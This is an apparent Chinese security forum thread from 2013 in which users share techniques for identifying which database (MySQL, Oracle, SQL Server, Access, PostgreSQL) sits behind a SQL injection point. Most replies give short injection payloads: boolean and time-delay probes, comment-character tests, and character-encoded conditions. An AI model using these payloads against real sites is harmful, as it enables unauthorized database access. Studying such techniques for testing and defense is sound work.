一个注射点如何最快速确认是什么类型数据库 xsser (十根阳具有长短!!) | 2013-02-05 12:36 假设这么一个注射点: show.html?id=2 mysql:id=2 and version()>0 oracle:id=2 and '1'||'1'='11 其他的欢迎补充
1# upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47 Access: aNd aSc(cHr(97))=97 and exists(select id from MSysAccessObjects) SQL Server: and exists(select id from sysobjects) and length(user)>0 MySQL: and length(user())>0 2# xsser (十根阳具有长短!!) | 2013-02-05 12:48 @upload 如果这些都不是呢… 3# upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03 @xsser 不快速的,延时注入 不知道这样写对不对 mssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3' mysql:id=2 and select benchmark(1e8,current_date()); 4# upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10 最快的貌似是看报错信息 oracle error mssql error mysql error
5#Nimda (你们都是坏银~) | 2013-02-05 13:14小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)6#upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。7#_Evil (HackEnd) | 2013-02-05 13:33PostgreSQL8#upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42切换编码 and 1=1oracle:CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)mssql:CHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)mysql:CHAR(97, 110, 100, 32, 49, 61, 49)9#xsser (十根阳具有长短!!) | 2013-02-05 14:31@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?10#upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46@xsser 是奇葩数据库类型的么?根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:1.是否可以使用特定的函数来判断,该数据库特有的2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等3.是否可以编码查询4.是否显可以利用错信息5.是否存在数据库某些特性辅助判断个人见解11#小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55已收藏,mssql可以直接看到错误提示的吧~12#Passer_by | 2013-02-05 15:09曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。from:http://zone.wooyun.org/content/2608
|